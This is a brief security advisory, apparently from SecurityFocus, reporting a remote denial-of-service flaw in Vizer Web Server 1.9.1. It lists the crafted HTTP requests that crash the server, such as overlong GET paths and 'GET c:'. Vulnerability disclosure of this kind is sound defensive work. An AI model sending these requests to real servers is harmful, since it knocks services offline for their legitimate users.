source: https://www.securityfocus.com/bid/9678/info

It has been reported that Vizer Web Server may be prone to a remote denial of service vulnerability that may allow an attacker to cause the affected server to crash, denying service to legitimate users.

Vizer Web Server 1.9.1 has been reported to be affected by this issue.

index.htm
( without specifying GET and HTTP )

or:

GET /aaaaaa[ 250 of a ]aaa HTTP/1.1
( specifying GET and HTTP )

GET /aaaaaa[ 250 of a ]aaa
( specifying only GET )

or:

GET c:( specifying only GET )